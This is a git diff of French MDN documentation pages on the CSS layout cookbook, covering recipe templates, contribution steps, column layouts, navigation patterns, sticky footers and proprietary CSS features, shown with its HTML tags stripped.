Note : Télécharger cet exemple.

+
+ +

Choix effectués

+ +

Expliquez ici les décisions prises pour réaliser cette  recette. Pourquoi avez-vous choisi telle méthode de disposition ? Vous pouvez inclure ici d'autres exemples. Cette section est assez flexible car la complexité d'une recette peut varier grandement.

+ +

Méthodes de recours ou alternatives

+ +

S'il existe d'autres méthodes ou des méthodes qui permettent une amélioration progressive pour les navigateurs qui ne prennent pas en charge les fonctionnalités récentes utilisées, vous pouvez les décrire ici.

+ +

Accessibilité

+ +

Inclure ici les aspects spécifiquement liés à l'accessibilité pour cette recette. Cette section peut être omise si rien de notable ne concerne l'accessiblité pour cette recette.

+ +

Compatibilité des navigateurs

+ +

Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.

+ + + +

Inclure ici les données de compatibilité pour les principales propriétés utilisées. Comme exemple, voici comment faire pour inclure les données concernant align-items.

+ +

align-items

+ +

{{Compat("css.properties.align-items")}}

+ +

Voir aussi

+ +
    +
  • Liste de liens sur les propriétés concernées : {{Cssxref("example-property")}}
    • +
  • Liens vers des articles qui expliquent comment utiliser telles propriétés en contexte
    • +
  • Liens vers des ressources externes. Il ne faut pas hésiter à pointer vers de bonnes ressources externes mais leur contenu ne doit pas se limiter à des points de détail.
    • +
diff --git a/files/fr/web/css/layout_cookbook/contribute_a_recipe/index.html b/files/fr/web/css/layout_cookbook/contribute_a_recipe/index.html new file mode 100644 index 0000000000..b356d20339 --- /dev/null +++ b/files/fr/web/css/layout_cookbook/contribute_a_recipe/index.html @@ -0,0 +1,104 @@ +--- +title: Contribuer à une recette +slug: Web/CSS/Layout_cookbook/Contribuer_à_une_recette +tags: + - CSS + - Guide + - MDN + - Meta +translation_of: Web/CSS/Layout_cookbook/Contribute_a_recipe +--- +
{{CSSRef}}
+ +

Si vous souhaitez contribuer en ajoutant une recette à celles présentées dans cette section de MDN, nous vous expliquons ici quelles étapes suivre pour que vos exemples soient publiés.

+ +

Qu'est-ce qu'une « bonne » recette ?

+ +

Une bonne recette consiste en la version la plus simple possible d'un motif utile pour concevoir une page web. Chaque ligne de CSS écrite dans la recette doit servir à illustrer le motif. Tout ce qui est purement décoratif pour l'exemple doit être exclus. L'idée est que la recette puisse servir de base à n'importe qui et de pouvoir appliquer ses propres styles sur l'exemple si besoin.

+ +
+

Note quant à la traduction et aux recettes en anglais : Une recette (l'exemple interactif, la version téléchargeable et la page MDN) doit d'abord être créée en anglais avant de pouvoir être mise à disposition en français. La suite de ce guide explique en français ce qu'il faut réaliser mais la majeure partie du contenu produit devra être en anglais.

+
+ +

Les étapes pour la publication

+ +

Une recette se décompose comme suit :

+ +
    +
  1. Un exemple interactif, stocké sur le dépôt GitHub des exemples CSS
    2. +
  2. Une version téléchargeable de cet exemple, également stockée sur le dépôt des exemples CSS.
    3. +
  3. Une page MDN, rattachée à la section Livre de recettes CSS qui contient : +
      +
    1. Les spécifications sommaires
      2. +
    2. La recette
      3. +
    3. Les choix effectués
      4. +
    4. Les éventuelles méthodes alternatives (utiles pour l'amélioration progressive)
      5. +
    5. Les points relatifs à l'accessibilité
      6. +
    6. La compatibilité des navigateurs
      7. +
    7. D'éventuelles ressources additionnelles
      8. +
    +
    4. +
+ +

1. Construire le motif

+ +

Avant de passer de l'exemple à la recette, commencez par écrire votre motif sous la forme d'une simple page HTML. Pensez à ce que vous voulez démontrer/illustrer et visez un résultat aussi simple que possible. Évitez d'utiliser des conventions CSS spécifiques qui ne seraient pas nécessairement connues et qui pourraient complexifier inutilement l'exemple.

+ +

Assurez-vous que le code HTML et CSS soit valide et testez le dans différents navigateurs. Vous pouvez tout à fait utiliser des propriétés CSS qui ne sont pas prises en charge par l'ensemble des navigateurs. Vous pourrez inclure les informations de compatibilité dans la page dédiée. Dans certains cas, il pourra être utile de fournir une deuxième version de l'exemple qui illustre des techniques qui permettent de prendre en charge des navigateurs plus anciens.

+ +

2. Créer un exemple interactif

+ +

Les exemples interactifs que vous voyez sur ces recettes et dans d'autres articles MDN permettent aux visiteurs de modifier le code et d'en voir le résultat sans être submergé⋅e de code superflu. Votre recette pourra utiliser un ou plusieurs exemples interactifs.

+ +

Créez un fork du dépôt des exemples CSS puis étudiez le dossier css-cookbook. Ce dernier contient un fichier cookbook-template.html dont vous pouvez repartir pour réaliser votre exemple. Enregistrez le nouveau fichier dans le répertoire css-cookbook avec un nom pertinent. Le modèle de base est commenté afin de vous aider à situer les différentes parties.

+ +

Voici les quelques éléments importants.

+ +

Il y a une feuille de style pour les panneaux des éditeurs, quelques règles pour la mise en forme de base et un fichier JavaScript qui contient les fonctionnalités de l'éditeur. Ces fichiers doivent être laissés tels quels.

+ +

Dans l'en-tête, il y a deux blocs pour le style. Le premier concerne les éléments que le visiteur n'a pas besoin de voir ou de changer pour modifier l'exemple. Le second correspond à ce qui pourra être modifié dans l'exemple. Généralement, on ajoute l'ensemble du CSS provenant de l'exemple dans le premier bloc puis on choisit les règles qu'on souhaite reproduire dans le deuxième bloc. Les règles du deuxième bloc doivent être celles qui illustrent l'essence de l'exemple et qu'un utilisateur pourra modifier afin d'en voir l'effet sur le motif.

+ +

Le HTML du composant doit être ajouté deux fois. Pour commencer dans la section avec la classe preview puis dans l'élément textarea playable-html.

+ +

Le CSS éditable (celui du second bloc de l'en-tête) doit également être recopié dans la section  playable-css.

+ +

Pour voir un exemple existant et comprendre les différentes parties, vous pouvez consulter center.html qui est utilisé sur la page Comment centrer un élément.

+ +

Si vous avez créé un fork du dépôt et que vous avez les fichiers CSS et JavaScript avec votre exemple, vous pouvez ouvrir la page dans un navigateur et l'ensemble devrait fonctionner de la même manière que lorsqu'il sera inclus dans une page.

+ +

Quelques conseils

+ +
    +
  1. N'indentez pas le code CSS et HTML à l'intérieur des textarea par rapport à l'ensemble du document HTML mais reprenez l'indentation depuis la première colonne (voir center.html par exemple).
    2. +
  2. Si vous avez besoins d'images, placez les dans le dossier avec les exemples. Vous pouvez également utiliser une des images déjà présente.
    3. +
  3. Vous pouvez ajuster la hauteur des textarea en modifiant la hauteur dans les styles inline/en incise.
    4. +
+ +

3. Créer une version téléchargeable

+ +

L'exemple intégré à la page contient tout le code mais seule la partie nécessaire est affichée. Faites une copie du fichier en ajoutant --download au nom. Ainsi, center.html possède une version téléchargeable intitulée center--download.html. Ce fichier devra ressembler à l'exemple initial et contenir une version basique du motif, sur une seule page HTML. Il peut être utile d'inclure les règles CSS applliquées à body et qui sont dans la feuille de style intégrée. Vous pouvez consulter cookbook-template--download.html comme exemple et point de départ.

+ +

4. Réaliser une pull request avec votre exemple

+ +

Ouvrez une pull request depuis votre fork vers le dépôt des exemples CSS. Nous pourrons ainsi vous aider à apporter les modifications nécessaires pour la créations de la page. De plus, l'exemple devra être fusionné afin de pouvoir être affiché sur une page. Dans la pull request, veuillez écrire une présentation de cette recette et des concepts que vous illustrez.

+ +

5. Créer la page sur MDN

+ +

Une fois l'exemple fusionné, vous pouvez créer l'article correspondant sur MDN. Pour cela, vous aurez besoin d'un compte et des permissions pour la création de page. Vous pourrez alors créer une page comme sous-page de la section. Cette page modèle pourra vous servir de point de départ pour votre contenu.

+ +

Le modèle explique le contenu de chaque section. Vous pouvez également consulter les recettes existantes comme références. Si vous cliquez sur le bouton d'édition en haut de page, vous pourrez ainsi accéder au contenu « brut » de la page et voir comment les macros sont utilisées afin d'intégrer les données de compatibilité ou les exemples interactifs.

+ +
+

Note de traduction : Si vous souhaitez effectuer la traduction d'une recette existante, vous pouvez consulter la page modèle en français.

+
+ +

Si vous avez besoin d'une aide générale sur l'utilisation de MDN, vous pouvez consulter les pages d'aide.

+ +

Si vous avez des questions ou que vous souhaitez que quelqu'un vérifie votre page, n'hésitez pas à demander sur le forum Discourse de MDN ou à venir discuter sur IRC (ces deux canaux sont principalement anglophones).

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/layout_cookbook/disposition_en_colonnes/index.html b/files/fr/web/css/layout_cookbook/disposition_en_colonnes/index.html deleted file mode 100644 index 140cc9a35a..0000000000 --- a/files/fr/web/css/layout_cookbook/disposition_en_colonnes/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Disposition en colonnes -slug: Web/CSS/Layout_cookbook/Disposition_en_colonnes -tags: - - CSS - - Guide - - Multi-col - - flexbox - - grid -translation_of: Web/CSS/Layout_cookbook/Column_layouts ---- -
{{CSSRef}}
- -

Vous aurez souvent à créer des dispositions organisées en colonnes. CSS fournit différentes méthodes pour parvenir à de telles dispositions. Les grilles CSS ou les boîtes flexibles ou encore les dispositions multi-colonnes peuvent être utilisées et choisir l'une de ces méthodes dépend de ce que l'on veut obtenir. Dans ce guide, nous verrons ces différentes options.

- -

three different styles of layouts which have two columns in the container.

- -

Prérequis

- -

Il existe plusieurs « motifs » qu'on peut vouloir réaliser avec des colonnes :

- -
    -
  • Un fil continu qui se divise en colonne, à la façon d'un journal papier.
    • -
  • Une seule ligne d'éléments divisée en colonnes qui ont la même hauteur.
    • -
  • Plusieurs lignes et colonnes qui sont alignées.
    • -
- -

Les « recettes »

- -

Selon le scénario souhaité, on utilisera différentes méthodes de disposition.

- -

Un fil continu de contenu - Disposition multi-colonnes

- -

En créant des colonnes avec une disposition multi-colonne, le texte pourra former un flux continu qui remplira chacune des colonnes à la suite des autres. Les colonnes auront toutes la même taille et il ne sera pas possible de cibler une colonne en particulier ou le contenu d'une colonne en particulier.

- -

L'espacement entre les colonnes peut être géré avec la propriété {{cssxref("column-gap")}} et il est possible d'ajouter une ligne de délimitation grâce à {{cssxref("column-rule")}}.

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/columns-multicol.html", '100%', 720)}}

- -
-

Note : Télécharger cet exemple

-
- -

On utilisera une disposition multi-colonnes lorsque :

- -
    -
  • On souhaite organiser le texte à la façon d'un journal imprimé
    • -
  • On a un ensemble de petits éléments qu'on souhaite fragmenter en colonnes
    • -
  • Il n'est pas nécessaire de cibler une colonne en particulier pour des raisons de mise en forme.
    • -
- -

Une seule ligne fragmentée en cellules de même taille — Utilisation des boîtes flexibles

- -

Les boîtes flexibles peuvent être utilisées afin de diviser du contenu en colonnes grâce à la propriété {{cssxref("flex-direction")}} utilisée avec la valeur row. Toutefois, une boîte flexible cible les éléments à l'intérieur du conteneur flexible et placera chaque enfant direct dans une nouvelle colonne. On a donc un comportement différent de celui vu précédemment avec les multi-colonnes.

- -

À l'heure actuelle, il n'existe pas de méthode qui permette de créer une ligne entre les objets flexibles et la prise en charge des navigateurs pour les propriétés {{cssxref("column-gap")}} et {{cssxref("row-gap")}} est limitée. Pour créer un espace entre les éléments, il faudra donc utiliser une marge.

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/columns-flexbox.html", '100%', 720)}}

- -
-

Note : Télécharger cet exemple

-
- -

Les boîtes flexibles peuvent également être utilisées afin de créer des dispositions où les objets flexibles « passent à la ligne » en utilisant la propriété {{cssxref("flex-wrap")}} et la valeur wrap sur le conteneur.  Les nouvelles lignes répartiront l'espace pour cette ligne uniquement, il n'y aura pas d'alignement d'une ligne à l'autre (comme on peut le voir dans l'exemple qui suit). C'est pour cette raison qu'on décrit les boîtes flexibles comme étant une méthode de disposition sur une seul dimension : cette méthode permet de contrôler la disposition en ligne ou en colonne mais pas de gérer les deux à la fois.

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/columns-flexbox-wrapping.html", '100%', 720)}}

- -
-

Note : Télécharger cet exemple

-
- -

On utilisera les boîtes flexibles pour :

- -
    -
  • Organiser des lignes ou colonnes d'objets indépendantes
    • -
  • Aligner les objets sur l'axe orthogonal au sens de lecture
    • -
  • Les cas où l'alignement d'une ligne sur l'autre n'est pas important
    • -
- -

Aligner des objets en lignes et colonnes — Utilisation d'une grille

- -

Si on souhaite organiser des objets sur des lignes et sur des colonnes, alors on choisira une grille CSS. La disposition à l'aide d'une grille permet d'organiser les éléments fils d'un contener de la même façon que les boîtes flexibles mais on peut également aligner les lignes et les colonnes. Aussi, si les boîtes flexibles sont une méthode unidimensionnelle, les grilles CSS permettent de jouer sur les deux dimensions.

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/columns-grid.html", '100%', 720)}}

- -
-

Note : Télécharger cet exemple

-
- -

On utiliser les grilles CSS lorsque :

- -
    -
  • On a des éléments/objets à organiser sur plusieurs lignes et colonnes
    • -
  • On souhaite pouvoir aligner les éléments sur les deux axes
    • -
- -

Compatibilité des navigateurs

- -

Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.

- - - -

column-width

- -

{{Compat("css.properties.column-width")}}

- -

column-rule

- -

{{Compat("css.properties.column-rule")}}

- -

flex

- -

{{Compat("css.properties.flex")}}

- -

flex-wrap

- -

{{Compat("css.properties.flex-wrap")}}

- -

grid-template-columns

- -

{{Compat("css.properties.grid-template-columns")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/layout_cookbook/list_group_with_badges/index.html b/files/fr/web/css/layout_cookbook/list_group_with_badges/index.html new file mode 100644 index 0000000000..6c3f1d171f --- /dev/null +++ b/files/fr/web/css/layout_cookbook/list_group_with_badges/index.html @@ -0,0 +1,53 @@ +--- +title: Liste de groupes avec indicateurs +slug: Web/CSS/Layout_cookbook/Liste_groupes_avec_indicateurs +tags: + - CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/Layout_cookbook/List_group_with_badges +--- +

{{CSSRef}}

+ +

Dans cet article, nous verrons comment créer une liste de groupes dont chaque élément possède un compteur sous la forme d'un indicateur (badge).

+ +

A list of items with a badge indicating a count displayed to the right of the text.

+ +

Spécifications sommaires

+ +

Les éléments de la liste doivent être affichés avec les indicateurs alignés à droite, quel que soit le volume de contenu pour un élément. L'indicateur doit être centré verticalement s'il y a plus d'une ligne de contenu.

+ +

Exemple appliqué

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/list-group-badges.html", '100%', 720)}}

+ +

Note : Télécharger l'exemple.

+ +

Choix effectués

+ +

Les boîtes flexibles sont un outil plutôt pratique pour constituer ce motif et permettent d'adapter simplement la disposition.

+ +

Pour s'assurer que le texte et l'indicateur soient bien alignés, on utilise la propriété justify-content avec la valeur space-between. Ainsi, l'espace supplémentaire est placé entre les éléments. Vous pouvez retirer cette propriété dans l'exemple ci-avant pour voir le badge se déplacer à la fin du texte.

+ +

Pour aligner le contenu horizontalement, on utilise la propriété align-items afin d'aligner le texte et l'indicateur sur l'axe secondaire. Si on veut que l'indicateur soit aligné en haut du contenu, on pourra utiliser align-items: flex-start à la place.

+ +

Compatibilité des navigateurs

+ +

Les différentes méthodes utilisées ici peuvent avoir une prise en charge différentes par les navigateurs. Se référer à chacun des tableaux pour avoir plus de détails.

+ + + +

justify-content

+ +

{{Compat("css.properties.justify-content")}}

+ +

align-items

+ +

{{Compat("css.properties.align-items")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/layout_cookbook/liste_groupes_avec_indicateurs/index.html b/files/fr/web/css/layout_cookbook/liste_groupes_avec_indicateurs/index.html deleted file mode 100644 index 6c3f1d171f..0000000000 --- a/files/fr/web/css/layout_cookbook/liste_groupes_avec_indicateurs/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Liste de groupes avec indicateurs -slug: Web/CSS/Layout_cookbook/Liste_groupes_avec_indicateurs -tags: - - CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/Layout_cookbook/List_group_with_badges ---- -

{{CSSRef}}

- -

Dans cet article, nous verrons comment créer une liste de groupes dont chaque élément possède un compteur sous la forme d'un indicateur (badge).

- -

A list of items with a badge indicating a count displayed to the right of the text.

- -

Spécifications sommaires

- -

Les éléments de la liste doivent être affichés avec les indicateurs alignés à droite, quel que soit le volume de contenu pour un élément. L'indicateur doit être centré verticalement s'il y a plus d'une ligne de contenu.

- -

Exemple appliqué

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/list-group-badges.html", '100%', 720)}}

- -

Note : Télécharger l'exemple.

- -

Choix effectués

- -

Les boîtes flexibles sont un outil plutôt pratique pour constituer ce motif et permettent d'adapter simplement la disposition.

- -

Pour s'assurer que le texte et l'indicateur soient bien alignés, on utilise la propriété justify-content avec la valeur space-between. Ainsi, l'espace supplémentaire est placé entre les éléments. Vous pouvez retirer cette propriété dans l'exemple ci-avant pour voir le badge se déplacer à la fin du texte.

- -

Pour aligner le contenu horizontalement, on utilise la propriété align-items afin d'aligner le texte et l'indicateur sur l'axe secondaire. Si on veut que l'indicateur soit aligné en haut du contenu, on pourra utiliser align-items: flex-start à la place.

- -

Compatibilité des navigateurs

- -

Les différentes méthodes utilisées ici peuvent avoir une prise en charge différentes par les navigateurs. Se référer à chacun des tableaux pour avoir plus de détails.

- - - -

justify-content

- -

{{Compat("css.properties.justify-content")}}

- -

align-items

- -

{{Compat("css.properties.align-items")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/layout_cookbook/navigation_breadcrumb/index.html b/files/fr/web/css/layout_cookbook/navigation_breadcrumb/index.html deleted file mode 100644 index 8ba8d1ea7e..0000000000 --- a/files/fr/web/css/layout_cookbook/navigation_breadcrumb/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Fil d'Ariane (breadcrumb) -slug: Web/CSS/Layout_cookbook/Navigation_Breadcrumb -tags: - - CSS - - Navigation -translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation ---- -
{{CSSRef}}
- -

La navigation avec un fil d'Ariane (breadcrumb) permet à un utilisateur de comprendre l'emplacement auquel il se trouve au sein du site web en fournissant un fil d'Ariane qui permette de revenir à la page de départ.

- -

Links displayed inline with separators

- -

Spécifications sommaires

- -

Les différents éléments formant le chemin sont affichés sur une ligne avec un séparateur qui permet d'identifier la hiérarchie entre les pages.

- -

Exemple appliqué

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/breadcrumb-navigation.html", '100%', 530)}}

- -
-

Note : Télécharger cet exemple

-
- -

Choix effectués

- -

L'ensemble est organisé dans un conteneur flexible. Les séparateurs sont générés à partir de pseudo-éléments et le séparateur choisi ici peut être modifié à votre convenance.

- -

Accessibilité

- -

On utilise ici les attributs aria-label et aria-current afin d'aider les utilisateurs à comprendre cette navigation et l'emplacement de la page actuelle dans la structure. Pour plus d'informations, voir les liens ci-après.

- -

Compatibilité des navigateurs

- - - -

Boîtes flexibles

- -

{{Compat("css.properties.flex")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/css/layout_cookbook/navigation_segment\303\251e/index.html" "b/files/fr/web/css/layout_cookbook/navigation_segment\303\251e/index.html" deleted file mode 100644 index 24cc872422..0000000000 --- "a/files/fr/web/css/layout_cookbook/navigation_segment\303\251e/index.html" +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Navigation segmentée -slug: Web/CSS/Layout_cookbook/Navigation_segmentée -tags: - - CSS - - Navigation - - flexbox -translation_of: Web/CSS/Layout_cookbook/Split_Navigation ---- -
{{CSSRef}}
- -

Une barre de navigation divisée consiste en un ou plusieurs éléments de navigation séparés des autres éléments de navigation.

- -

Items separated into two groups.

- -

Spécifications sommaires

- -

Une telle barre de navigation consiste généralement à avoir un élément écarté des autres. Pour cela, on va pouvoir utiliser les boîtes flexibles sans avoir besoin de deux conteneurs flexibles.

- -

Exemple appliqué

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/split-navigation.html", '100%', 520)}}

- -
-

Note : Télécharger cet exemple.

-
- -

Choix effectués

- -

Ce composant utilise les marges automatiques et les boîtes flexibles pour séparer l'élément voulu.

- -

Une marge automatique absorbe tout l'espace disponible sur la direction à laquelle elle est appliquée. C'est comme cela qu'on peut centrer un bloc avec des marges automatiques, de chaque côté du bloc, la marge essaye de consommer le plus d'espace possible et pousse le bloc au milieu.

- -

Dans notre exemple, c'est la marge à gauche du dernier élément qui est automatique et qui consomme l'espace, poussant ainsi l'élément sur la droite. Pour déplacer la séparation, on peut appliquer la classe push à n'importe quel élément de la liste.

- -

Compatibilité des navigateurs

- - - -

Boîtes flexibles

- -

{{Compat("css.properties.flex")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/layout_cookbook/split_navigation/index.html b/files/fr/web/css/layout_cookbook/split_navigation/index.html new file mode 100644 index 0000000000..24cc872422 --- /dev/null +++ b/files/fr/web/css/layout_cookbook/split_navigation/index.html @@ -0,0 +1,48 @@ +--- +title: Navigation segmentée +slug: Web/CSS/Layout_cookbook/Navigation_segmentée +tags: + - CSS + - Navigation + - flexbox +translation_of: Web/CSS/Layout_cookbook/Split_Navigation +--- +
{{CSSRef}}
+ +

Une barre de navigation divisée consiste en un ou plusieurs éléments de navigation séparés des autres éléments de navigation.

+ +

Items separated into two groups.

+ +

Spécifications sommaires

+ +

Une telle barre de navigation consiste généralement à avoir un élément écarté des autres. Pour cela, on va pouvoir utiliser les boîtes flexibles sans avoir besoin de deux conteneurs flexibles.

+ +

Exemple appliqué

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/split-navigation.html", '100%', 520)}}

+ +
+

Note : Télécharger cet exemple.

+
+ +

Choix effectués

+ +

Ce composant utilise les marges automatiques et les boîtes flexibles pour séparer l'élément voulu.

+ +

Une marge automatique absorbe tout l'espace disponible sur la direction à laquelle elle est appliquée. C'est comme cela qu'on peut centrer un bloc avec des marges automatiques, de chaque côté du bloc, la marge essaye de consommer le plus d'espace possible et pousse le bloc au milieu.

+ +

Dans notre exemple, c'est la marge à gauche du dernier élément qui est automatique et qui consomme l'espace, poussant ainsi l'élément sur la droite. Pour déplacer la séparation, on peut appliquer la classe push à n'importe quel élément de la liste.

+ +

Compatibilité des navigateurs

+ + + +

Boîtes flexibles

+ +

{{Compat("css.properties.flex")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/layout_cookbook/sticky_footers/index.html b/files/fr/web/css/layout_cookbook/sticky_footers/index.html new file mode 100644 index 0000000000..be032d79cd --- /dev/null +++ b/files/fr/web/css/layout_cookbook/sticky_footers/index.html @@ -0,0 +1,73 @@ +--- +title: Bas de page adhérant +slug: Web/CSS/Layout_cookbook/Bas_de_page_adhérant +tags: + - CSS + - Guide + - Recette +translation_of: Web/CSS/Layout_cookbook/Sticky_footers +--- +
{{CSSRef}}
+ +

Un bas de page adhérant est un motif où le bas de page reste en bas de la zone d'affichage (viewport) lorsque le contenu est moins haut que la zone d'affichage. Dans cet article, nous verrons quelques techniques pour parvenir à ce résultat.

+ +

A sticky footer pushed to the bottom of a box

+ +

Spécifications sommaires

+ +

Voici les spécifications rapides pour décrire le résultat qu'on souhaite obtenir :

+ +
    +
  • Le pied de page est en bas de la zone d'affichage lorsque le contenu est suffisamment petit
    • +
  • Si le contenu est plus grand que la zone d'affichage, le pied de page est situé sous le contenu.
    • +
+ +

Recette

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer.html", '100%', 720)}}

+ +
+

Note : Télécharger cet example

+
+ +
+

Note : Dans cet exemple, ainsi que dans le suivant, on utilise un élément enveloppant avec min-height: 100% afin que l'exemple intégré à la page fonctionne. Pour reproduire cela sur une page complète, on peut utiliser {{cssxref("min-height")}} avec la valeur 100vh sur l'élément {{htmlelement("body")}} qu'on utilise comme conteneur de grille.

+
+ +

Choix effectués

+ +

Dans l'exemple précédent, on utilise une grille CSS pour réaliser ce bas de page adhérant. L'élément .wrapper a une hauteur minimale de 100%, ce qui signifie qu'il est aussi grand que le conteneur dans lequel il est placé. On crée ensuite une grille avec une seule colonne et trois lignes, une pour chaque partie de la disposition.

+ +

Le placement automatique de la grille placera les objets selon l'ordre du document source. Le titre vient donc se placer sur la première piste (dimensionnée automatiquement), le contenu vient se placer sur la piste 1fr et le pied de page se retrouve dans la troisième région (dimensionnée automatiquement). La piste du milieu, dimensionnée avec 1fr, occupera tout l'espace disponible et grandira pour remplir l'espace disponible.

+ +

Méthodes alternatives

+ +

Si vous devez prendre en charge des navigateurs qui ne permettent pas d'utiliser les grilles CSS, vous pouvez utiliser les boîtes flexibles (flexbox) pour avoir une note de bas de page adhérante.

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer-flexbox.html", '100%', 720)}}

+ +

On commence de la même façon mais on utilise display:flex plutôt que display:grid sur .wrapper. On définit flex-direction avec la valeur column afin d'avoir une organisation verticale. Pour le contenu principal, on utilise flex-grow: 1 et pour les deux autres éléments, on utilise flex-shrink: 0. Cela évite de les réduire encore lorsque le contenu remplit la zone principale.

+ +

Compatibilité des navigateurs

+ +

grid-template-rows

+ +

{{Compat("css.properties.grid-template-rows")}}

+ +

flex-direction

+ +

{{Compat("css.properties.flex-direction")}}

+ +

flex-grow

+ +

{{Compat("css.properties.flex-grow")}}

+ +

flex-shrink

+ +

{{Compat("css.properties.flex-shrink")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/layout_mode/index.html b/files/fr/web/css/layout_mode/index.html new file mode 100644 index 0000000000..377b162194 --- /dev/null +++ b/files/fr/web/css/layout_mode/index.html @@ -0,0 +1,25 @@ +--- +title: Mode de mise en page +slug: Web/CSS/Mode_de_mise_en_page +tags: + - CSS + - Reference +translation_of: Web/CSS/Layout_mode +--- +
{{CSSRef}}
+ +

Un mode de disposition CSS (layout mode), parfois raccourci en « disposition » est un algorithme qui détermine la position et la taille des boîtes des éléments en fonction des interactions avec leurs voisins et leurs ancêtres. Il existe plusieurs modes de disposition :

+ + + +
+

Note : Les propriétés CSS ne s'appliquent toutes à tous les modes de disposition. La plupart des propriétés n'ont d'effet que pour un ou deux de ces modes et seront sans effet pour un élément qui s'inscrit dans un autre mode de disposition.

+
diff --git a/files/fr/web/css/list_of_proprietary_css_features/index.html b/files/fr/web/css/list_of_proprietary_css_features/index.html new file mode 100644 index 0000000000..2c88258187 --- /dev/null +++ b/files/fr/web/css/list_of_proprietary_css_features/index.html @@ -0,0 +1,173 @@ +--- +title: Liste de fonctionnalités CSS propriétaires +slug: Web/CSS/Liste_de_Fonctionnalités_CSS_Propriétaires +tags: + - CSS + - Draft + - NeedsContent +translation_of: Web/CSS/List_of_Proprietary_CSS_Features +--- +

{{CSSRef}}{{Draft}}

+ +
+

Note : Cette page est un brouillon et son contenu est incomplet voire obsolète. À lire avec un œil critique.

+
+ +
+

Attention ! Cette page est incomplète et n'est pas à jour. Se référer aux pages suivantes pour plus d'informations :

+ + +
+ +
BROUILLON + +
Cette page est incomplète.
+
+ +

Cette liste contient les extensions propriétaires des CSS en fonction des moteurs des différents navigateurs ; il ne s'agit pas des implémentations expérimentales des fonctionnalités en cours de standardisation (voir Implémentation des fonctionnalités CSS à l'état de brouillon pour une liste de ces dernières).

+ +

Gecko

+ +

Propriétés

+ +
    +
  • {{ Cssxref("-moz-force-broken-image-icon") }}
    • +
  • {{ Cssxref("-moz-image-region") }}
    • +
  • {{ Cssxref("-moz-margin-end") }}
    • +
  • {{ Cssxref("-moz-margin-start") }}
    • +
  • {{ Cssxref("-moz-orient") }}
    • +
  • {{ Cssxref("-moz-padding-end") }}
    • +
  • {{ Cssxref("-moz-padding-start") }}
    • +
  • {{ Cssxref("-moz-stack-sizing") }}
    • +
  • {{ Cssxref("-moz-window-shadow") }}
    • +
+ +

Valeurs

+ +

{{ cssxref("background-image") }}

+ +
    +
  • Portions d'images +
      +
    • {{ cssxref("-moz-image-rect") }}
      • +
    +
    • +
+ +

Pseudo-éléments et pseudo-classes

+ +

...

+ +

Règles At

+ +

...

+ +

Requêtes de média

+ +

...

+ +

Autres

+ +

...

+ +

Opera

+ +

Propriétés

+ +

...

+ +

Valeurs

+ +

{{ cssxref("background-image") }}

+ +
    +
  • {{ cssxref("-o-double-rainbow") }}
    • +
+ +

Pseudo-éléments et pseudo-classes

+ +

...

+ +

Règles At

+ +

...

+ +

Requêtes de média

+ +

...

+ +

Autres

+ +

...

+ +

Trident (IE)

+ +

Propriétés

+ +
    +
  • {{ cssxref("-ms-accelerator") }}
    • +
+ +

Valeurs

+ +

...

+ +

Pseudo-éléments et pseudo-classes

+ +

...

+ +

Règles At

+ +

...

+ +

Requêtes de média

+ +

...

+ +

Autres

+ +

...

+ +

WebKit

+ +

Propriétés

+ +
    +
  • {{ Cssxref("-webkit-box-reflect") }}
    • +
  • {{ Cssxref("-webkit-mask") }}
    • +
  • {{ Cssxref("-webkit-mask-attachment") }}
    • +
  • {{ Cssxref("-webkit-mask-composite") }}
    • +
  • {{ Cssxref("-webkit-mask-image") }}
    • +
  • {{ Cssxref("-webkit-mask-origin") }}
    • +
  • {{ Cssxref("-webkit-mask-repeat") }}
    • +
  • {{ Cssxref("-webkit-tap-highlight-color") }}
    • +
  • {{ Cssxref("-webkit-text-decorations-in-effect") }}
    • +
  • {{ Cssxref("-webkit-text-stroke") }}
    • +
  • {{ Cssxref("-webkit-text-stroke-color") }}
    • +
  • {{ Cssxref("-webkit-text-stroke-width") }}
    • +
  • {{ Cssxref("-webkit-touch-callout") }}
    • +
+ +

Valeurs

+ +

...

+ +

Pseudo-éléments et pseudo-classes

+ +

...

+ +

Règles At

+ +

...

+ +

Requêtes de média

+ +

...

+ +

Autres

+ +

...

diff --git "a/files/fr/web/css/liste_de_fonctionnalit\303\251s_css_propri\303\251taires/index.html" "b/files/fr/web/css/liste_de_fonctionnalit\303\251s_css_propri\303\251taires/index.html" deleted file mode 100644 index 2c88258187..0000000000 --- "a/files/fr/web/css/liste_de_fonctionnalit\303\251s_css_propri\303\251taires/index.html" +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: Liste de fonctionnalités CSS propriétaires -slug: Web/CSS/Liste_de_Fonctionnalités_CSS_Propriétaires -tags: - - CSS - - Draft - - NeedsContent -translation_of: Web/CSS/List_of_Proprietary_CSS_Features ---- -

{{CSSRef}}{{Draft}}

- -
-

